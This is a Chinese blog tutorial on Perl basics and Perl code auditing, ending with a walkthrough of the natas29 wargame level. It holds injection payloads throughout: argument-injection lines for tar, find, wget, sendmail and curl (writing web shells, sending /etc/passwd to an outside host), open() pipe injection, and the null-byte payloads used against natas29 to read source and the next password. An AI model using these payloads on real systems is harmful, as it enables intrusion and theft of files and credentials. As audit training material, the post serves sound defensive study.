(信安之路首发)Perl基础&代码审计
/本篇博客首发于信安之路:《perl 代码审计从基础到实战》
0x01 Perl基础
Perl基础部分参考自:https://www.runoob.com/perl/perl-tutorial.html
简介
Perl全称Practical Extraction and Report Language,一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从大型机到便携设备,从快速原型创建到大规模可扩展开发,其最重要的特性是Perl内部集成了正则表达式的功能以及巨大的第三方代码库CPAN。
Perl语言的应用范围很广,除CGI以外,Perl被用于图形编程、系统管理、网络编程、金融、生物以及其他领域。由于其灵活性,Perl被称为脚本语言中的瑞士军刀。
Perl是一种弱类型语言。
运行方式
- 交互式:
perl -e <perl code>
- 运行脚本(以.pl、.PL作为后缀):
perl script.pl
数据类型
Perl是一种弱类型语言,所以变量不需要指定类型,Perl解释器会根据上下文自动选择匹配类型。
Perl有三个基本的数据类型:
- 标量:标量是 Perl 语言中最简单的一种数据类型。这种数据类型的变量可以是数字,字符串,浮点数,不作严格的区分。在使用时在变量的名字前面加上一个
$
,表示是标量。例如:$a=123;
- 数组:数组变量以字符
@
开头,索引从0开始,如:@arr=(1,2,3)
- 哈希:哈希是一个无序的键值对集合。可以使用键作为下标获取值。哈希变量以字符
%
开头。如:%h=('a'=>1,'b'=>2);
基本语法
Perl借用了C、sed、awk、shell脚本以及很多其他编程语言的特性,语法与这些语言有些类似,也有自己的特点。
Perl 程序有声明与语句组成,程序自上而下执行,包含了循环,条件控制,每个语句以分号 (;) 结束。
Perl 语言没有严格的格式规范,你可以根据自己喜欢的风格来缩进。
注释符
Perl注释的方法为在语句的开头用字符#
,如:
1 | # 这一行是 perl 中的注释 |
Perl也支持多行注释,最常用的方法是使用POD(Plain Old Documentations) 来进行多行注释。方法如下:
1 | #!/usr/bin/perl |
注意:
- =pod、 =cut只能在行首。
- 以=开头,以=cut结尾。
- =后面要紧接一个字符,=cut后面可以不用。
空白符解析特点
Perl解释器不会关心有多少个空白,所有类型的空白如空格、Tab、换行等如果在引号外解释器会忽略它,如果在引号内会原样输出。
1 | #!/usr/bin/perl |
输出:
1 | Hello |
单双引号解析区别
Perl双引号和单引号的区别:双引号可以正常解析一些转义字符与变量,而单引号无法解析会原样输出,但是用单引号定义可以使用多行文本。这点和PHP类似(双引号解析变量、而单引号不解析变量)。
1 | #!/usr/bin/perl |
输出:
1 | a = mi1k7ea |
Tips:
(1)双中有双,单中有单都需要\
转义。
(2)双中有单或单中有双均不需要转义。
(3)单引号直接了当,引号内是什么就显示什么,双引号则需要考虑转义或变量替换等。
Here文档
Here文档又称作heredoc、hereis、here-字串或here-脚本,是一种在命令行shell(如sh、csh、ksh、bash、PowerShell和zsh)和程序语言(像Perl、PHP、Python和Ruby)里定义一个字串的方法。
1 | #!/usr/bin/perl |
输出:
1 | 这是一个 Here 文档实例,使用双引号。 |
注意:
- 必须后接分号,否则编译通不过;
- EOF可以用任意其它字符代替(例子用的Mi1k7ea),只需保证结束标识与开始标识一致;
- 结束标识必须顶格独自占一行(即必须从行首开始,前后不能衔接任何空白和字符);
- 开始标识可以不带引号号或带单双引号,不带引号与带双引号效果一致,解释内嵌的变量和转义符号,带单引号则不解释内嵌的变量和转义符号;
- 当内容需要内嵌引号(单引号或双引号)时,不需要加转义符,本身对单双引号转义,此处相当与q和qq的用法;
子程序(函数)及传参
Perl子程序即用户定义的函数。
1 | #!/usr/bin/perl |
输出:
1 | Hello, World! |
Perl函数参数使用特殊数组@_
标明,函数第一个参数为$_[0]
、第二个参数为$_[1]
,依次类推。
1 | #!/usr/bin/perl |
输出:
1 | 传入的参数:mi1k7ea com |
CGI环境搭建与CGI编程
CGI环境搭建:下载Apache httpd服务器,直接运行然后访问http://localhost/cgi-bin/printEnv.pl
即可:
正常没问题的话是如上图所示。注意一点,pl或cgi文件中第一行指定perl程序所在路径必须正确,否则会出现500 Error,我这里本地修改为#!D:\Strawberry\perl\bin\perl.exe
。
第一个CGI程序,test.cgi:
1 | #!D:/Strawberry/perl/bin/perl.exe |
更多具体CGI参考:Perl CGI编程
0x02 Perl代码审计
命令注入
system()函数
system()函数执行命令是有回显的。system后可以有圆括号,也可以没有。
参数全部可控
1 | $cmd = "echo hacked"; |
参数部分可控
直接拼接命令的场景,可使用命令注入分隔符绕过:
1 | $param = $ARGV[0]; |
将命令和参数分隔开就不行了,原因在于传递给system的参数变成了数组形式、严格按命令和参数进行区分了:
1 | $param = ";ls"; |
参数注入
由前面数组形式执行system函数知道,命令注入是不成功的,但是某些写死的命令是可以进行参数注入的。但是这种注入方式较苛刻,需要有两处连续的可控点。
tar参数注入
tar命令的–use-compress-program参数选项可以执行shell命令,若存在参数注入则可利用。注入点需要–use-compress-program参数及其后面的参数值两处。
1 | @cmd = ("tar","--use-compress-program","touch /tmp/perltest/mi1k7ea","-cf","/tmp/perltest/passwd","/etc/passwd"); |
find参数注入
find命令的-exec参数选项可以执行命令,若存在参数注入则可利用。注入点需要–execs参数及其后面的参数值两处。
1 | @cmd = ("find","/tmp","-iname","sth","-or","-exec","id",";","-quit"); |
wget参数注入
wget命令的–directory-prefix参数选项可以将目标文件下载到指定目录中,若存在参数注入则可利用。注入点需要–directory-prefix参数及其后面的参数值两处和远程URL地址一处。
1 | @cmd = ("wget","--directory-prefix","/var/www/html","http://127.0.0.1:8080/shell.php"); |
sendmail参数注入
sendmail涉及到参数注入的几个参数:
- -O option = value:QueueDirectory = queuedir 选择队列消息
- -X logfile:这个参数可以指定一个目录来记录发送邮件时的详细日志情况,我们正式利用这个参数来达到我们的目的。
- -C file:这个参数用File变量指定的备用配置文件启动sendmail命令。
常见的参数注入方式,这里只列出用法不举例了:
- 向Web目录写日志Shell:
-O QueueDirectory=/tmp -X /var/www/html/log-shell.php
- 任意文件读取:
-C/etc/passwd -X/tmp/output.txt
curl参数注入
curl命令的-F参数选项为以POST方式提交表单,-T参数选项为上传文件,这些参数选项都存在参数注入风险。
常见的参数注入方式,这里只列出用法不举例了:
- 以POST方式提交任意文件:
-F filename=@/etc/passwd http://a.com/b.php
- 上传任意文件:
-T /etc/passwd ftp://10.0.0.10
目录遍历
在参数部分可控且不存在参数注入的场景下,如果注入的参数值为文件路径,那么就可以尝试进行目录遍历攻击。
比如:
1 | $param = $ARGV[0]; |
exec()函数
exec()函数和system()函数类似,执行命令是有回显的。exec后可以有圆括号,也可以没有。两者最大的区别是system()函数创建了一个fork进程,并等待查看命令是成功还是失败(返回一个值);而exec()函数不返回任何内容,它只是执行命令。
参数全部可控
1 | $cmd = "echo exec_inject"; |
参数部分可控
和前面system的情况一样,未进行数组分隔时能注入命令执行:
1 | $param = ";id"; |
同样,数组分隔传参就不行了:
1 | $param = ";id"; |
此时可尝试如前面system()函数中讲到的参数注入或者目录遍历,这里不多说。
readpipe()函数
readpipe()函数将EXPR作为命令执行,然后返回命令执行后的结果。也就是说,单单运行该函数是获取不到命令执行的回显结果的,需要结合print才能看到回显。
参数全部可控
1 | @result = readpipe("ls -l /tmp"); |
参数部分可控
readpipe()函数和前面两个命令执行函数不一样,即使是数组分隔命令和参数传参还是会执行命令!
1 | @param = ("cat","/tmp/;id"); |
open()函数
在Perl中open()函数被用来打开文件。该函数最为常见的使用形式如下:
1 | open (FILEHANDLE, "filename"); |
在Perl的open()函数中,如果在文件名后加上管道符”|”,则Perl将会执行这个文件,而不是打开它。
参数全部可控
open()函数的filename参数可以在其第一个字符前或最后一个字符后注入管道符来实现命令注入:
1 | open(STATFILE, "|touch /tmp/perltest/hacked"); |
参数部分可控
因为filename一般就是某个文件路径,当filename参数前面已经指定好路径但实现参数拼接时,我们可以使用目录遍历的方法来实现注入:
1 | $param = "../bin/touch /tmp/perltest/hacked|"; |
但如果是有重定向符写死的就不可以注入了,如果filename是含有>
标志的前缀,那么它是为输出而打开的,并且如果文件已经存在据就会覆盖原文件;如果含有>>
前缀,那么是为追加打开的;前缀<
打开文件来进行输入操作,这也是不含前缀的时候的默认方式。比如:
1 | $param = "../bin/touch /tmp/perltest/hacked|"; |
反引号
Perl的反引号和PHP的反引号一样,可用于执行系统命令。具体利用场景需要具体分析。
1 | $param = "whoami"; |
代码注入
eval
Perl的eval函数的参数就是一段Perl代码,与PHP以及JS的eval类似,会执行自己语言的代码。
Perl的eval有两种使用方式,即eval EXPR和eval BLOCK。
eval EXPR
EXPR即表达式。在执行时, Perl解释器会首先解析表达式的值,然后将表达式值作为一条Perl语句插入当前执行上下文。所以,新生成的语句与eval语句本身具有相同的上下文环境。这种方式中,每次执行eval语句,表达式都会被解析。所以,如果eval EXPR如果出现在循环中,表达式可能会被解析多次。 eval的这种方式使得Perl脚本程序能实时生成和执行代码,从而实现了“动态代码”。
使用示例:
1 | eval "print 'mi1k7ea'"; |
如果eval中的EXPR即Perl代码可控,我们可以直接传入前面说到的命令注入函数实现RCE。假设test.pl如下:
1 | eval $ARGV[0]; |
此时直接注入system('touch /tmp/perltest/mi1k7ea')
:
eval BLOCK
BLOCK即代码块。与第一种方式不同, BLOCK只会被解析一次,然后整个插入当前eval函数所在的执行上下文。由于解析上的性能的优势,以及可以在编译时进行代码语法检查,这种方式通常被作为Perl用来为一段代码提供异常捕捉机制,虽然前一种方式也可以。
使用示例:
1 | eval {print $a}; |
如果eval中的BLOCK即Perl代码可控,我们可以直接传入前面说到的命令注入函数实现RCE。假设test.pl如下:
1 | eval {system("touch /tmp/perltest/mi1k7ea");}; |
另一种Block调用:
1 | push ( @program,'system("touch /tmp/perltest/mi1k7ea");'); |
SQL注入
Perl中操作数据库默认就支持预编译,但是如果使用不当同样是存在SQL注入漏洞的。关键在于,没有正确使用占位符?
。
在Perl中可以使用DBI(Database Independent Interface)模块来连接数据库。DBI作为Perl语言中和数据库进行通讯的标准接口,它定义了一系列的方法、变量和常量,提供一个和具体数据库平台无关的数据库持久层。
DBI相关函数如下:
- connect()函数:用于连接数据库;
- prepare()函数:用于预处理SQL语句;
- execute()函数:用于执行SQL语句;
- finish()函数:用于释放语句句柄;
- disconnect()函数:用于断开数据库连接;
正确使用预编译占位符的例子:
1 | use strict; |
此时预编译会将占位符的内容定死为参数值而不会将其中的某些字符串解释为SQL关键字,也就根源上解决了SQL注入问题:
但是,如果没有正确使用预编译占位符,如下代码,在prepare()函数中直接拼接变量,就会同样存在SQL注入问题:
1 | # 预编译SQL语句,未使用占位符?而是采用变量拼接的方式 |
此时就能被SQL注入攻击:
结论:在prepare()函数进行预编译操作的时候,需要输入的参数值必须使用占位符,禁止直接使用变量拼接SQL语句。
XSS
XSS是Web前端最常见的漏洞,Perl中也不缺席,关键还是在于Perl代码有没有进行HTML实体编码或者过滤特殊字符之后再输出到页面上。
比如下面CGI直接将参数原样不动返回到界面中:
1 | #!D:/Strawberry/perl/bin/perl.exe |
此时,就会产生XSS问题:
正确防御方法是进行HTML实体编码后再输出页面中:
1 | print CGI::escapeHTML($cgi->param('p')); |
变量覆盖
Perl语言的一些特性会导致存在一些变量覆盖问题,而变量覆盖往往会导致一些检测机制被绕过或者造成越权漏洞的产生。
哈希引入数组变量覆盖
Perl的哈希中如果引入了数组,那么数组将会按键对值的结构扁平展开到哈希中,此时存在变量覆盖漏洞。
看个Demo,在hash中引入list,其中list包含hash中的一个键user并设置了对应的值admin:
1 | @list = ("member", "user", "admin"); |
输出,看到list中的键及值直接覆盖了原有的user键值对:
延伸到CGI场景中同理:
1 | #!D:/Strawberry/perl/bin/perl.exe |
正常请求/test.cgi?username=guest
时,返回结果如下:
但是,当传入URL参数的key重复多次时/test.cgi?username=guest&username=username&username=admin
,返回结果:
看到username参数被数组变量覆盖了。原理同上,即当URL传入多个同名参数时,$cgi->param()
函数返回的是一个列表,输入参数username=test&username=username&username=admin
时返回的是("test", "username", "admin")
,此时数组就会和哈希结构进行合并,第一个元素guest则设置成username键的值,剩下的username和admin则单独组成为一对键值,新生成的键值对会覆盖掉原本的username的值为admin了。
案例——CVE-2014-1572(Bugzilla越权漏洞)
漏洞代码如下:
1 | my $otheruser = Bugzilla::User->create({ |
当提交下面请求内容时:
1 | a=confirm_new_account&t=[TOKEN]&passwd1=[password]&passwd2=[password] |
此时传递给User->create()函数的结构如下:
1 | { |
这里漏洞根源正式往{}
即哈希中传入数组,利用上述的特性导致变量覆盖从而导致越权漏洞的产生。
数组传参变量覆盖
Perl的函数参数传递中如果传递的参数类型为数组,那么数组将会直接展开来赋值到对应位置的参数上,此时同样存在变量覆盖漏洞。
看个Demo,test()函数可传入三个参数,然后分别给其传入不同数量、某个参数类型为数组的参数:
1 | sub test { |
输出:
可以看到,当传递给子程序的参数即便不够,传递的数组会被展开并赋值给a、b、c三个变量上;最后一个调用的第三个传入参数4并没有赋值给c变量。
这种数组传参覆盖的特性有啥安全问题?看个例子。
1 | #!D:/Strawberry/perl/bin/perl.exe |
这个CGI程序会从Web端接收一个user参数,然后通过自定义的sqli_filter()函数进行SQL注入特殊字符转义处理,最后查询数据库中对应的用户信息(假设为正确使用预编译进行SQL语句处理)。
正常访问,输入用户名即可查询用户信息:
尝试进行SQL注入获取所有用户信息,注入?user=testuser' or 1--+
,发现单引号被转义了:
结合数组参数变量覆盖,注入?user=testuser' or 1--+&user=6
,可以看到成功进行了SQL注入,绕过了sqli_filter的检测过滤:
导致sqli_filter被绕过的漏洞根源在于,给该函数传递的是一个数组参数,通过变量覆盖的特性将type变量值给覆盖为了6,从而绕过了检测逻辑。
随机数安全
Perl中的rand()函数只是从标准C库中调用相应的rand()函数,而C库函数rand()是一个不安全随机函数、其生成的数字不是加密安全的。
在C/C++安全编码规范中也明确禁止使用rand()产生用于安全用途的伪随机数。
强伪随机数CSPRNG(安全可靠的伪随机数生成器(Cryptographically Secure Pseudo-Random Number Generator)的各种参考:
Platform | CSPRNG |
---|---|
PHP | mcrypt_create_iv, openssl_random_pseudo_bytes |
Java | java.security.SecureRandom |
Dot NET (C#, VB) | System.Security.Cryptography.RNGCryptoServiceProvider |
Ruby | SecureRandom |
Python | os.urandom |
Perl | Math::Random::Secure |
C/C++ (Windows API) | CryptGenRandom |
Any language on GNU/Linux or Unix | Read from /dev/random or /dev/urandom |
条件竞争
条件竞争漏洞的根源在于两个逻辑相关的操作之间的执行存在时间差,而攻击者可以利用这个时间差来绕过某些逻辑实现攻击。
比如这段代码,先判断目标文件是否存在,如果不存在则创建并写入内容:
1 | unless (-e "/tmp/a_temporary_file") { |
在这种情况下,这个时间差是指TOCTOU(检查时间-使用时间)。这里检测文件是否存在和打开写入文件两个操作之间存在一个时间差。如果攻击者利用这个时间差,在程序检测到文件不存在后就立即执行如下命令创建软链接到某个重要配置文件,如下:
1 | ln -s /tmp/a_temporary_file /etc/an_important_config_file |
此时,程序过完这个时间差再来执行打开写入目标文件的操作时,由于目标文件已经被攻击者篡改为软链接因此会导致该重要配置文件被删除。
通常,最好的解决方法是在可能存在竞争条件的地方使用原子操作。这意味着仅使用一个系统调用即可检查文件并同时创建该文件,而不会给处理器提供机会在两者之间切换到另一个进程。
在刚刚的示例中,可以使用sysopen()函数并指定只写模式,而无需设置truncate标志来避免条件竞争的问题:
1 | unless (-e "/tmp/a_temporary_file") { |
这样,即使文件名被篡改了,但是当打开文件进行写入时也不会杀死它。
00截断
类似PHP,Perl中也存在00截断的问题。
如下代码,假设file变量值”xxx”是外部可控的值,程序本意是想打开用户输入的值拼接上”.txt”后缀名的文件:
1 | $file = "xxx"; |
此时,如果攻击者输入test%00
,此时由于%00在URL解码变为0x00,其在Perl中代表了字符串的结束,因此open()函数打开的是”test”文件而不是”test.txt”文件。
当然,00截断的特性通常是结合其他漏洞进行组合绕过利用的,具体场景具体分析。
0x03 Perl漏洞实战
看个Perl漏洞靶场:
1 | http://natas29.natas.labs.overthewire.org |
访问目标站点,可以选择下拉框选项,这里点击”perl underground”后页面返回大量内容:
注意到参数名为file,推测后台是根据传入的参数名再传递给open()函数来打开处理。
尝试下open()函数的命令注入,输入|ls
,注意管道符在前面是有回显的:
风平浪静,肯定是姿势不对。推测下原因,用open()函数打开的文件一般是要有后缀名的,而选项中的这几个file参数值都是不带后缀名的,那么就应该是后台对file参数值和后缀名进行一个拼接操作再open的。如果是这样,就能利用%00截断来截断掉后面拼接的后缀名使open()函数能够正确执行注入的命令。
输入|ls%00
:
没毛病,通过%00截断的方式命令成功执行了,页面列出了当前目录下的所有文件。
我们看下index.pl的源码,输入|cat index.pl%00
:
页面不太好看,直接看页面源码就得到index.pl的源码了:
1 | #!/usr/bin/perl |
从源码看到,关键的漏洞点就是open(FD, "$f.txt");
,这里直接将外部输入的file参数和后缀名”.txt”拼接后直接放进open()函数中执行,导致了命令注入漏洞的存在。
靶场的要求是获得下一关即第30关的密码,这里看源码发现检测file参数值是否存在”natas”,因此需要结合一些shell技巧来绕过这个检测,可以输入如下一些命令绕过并搜索下一关的相关文件:
1 | |find / -name nat''as30%00 |
最后读取该文件即可|cat /etc/nat''as_webpass/nat''as30%00
:
小结:该场景的漏洞点在于open()函数命令注入+%00截断。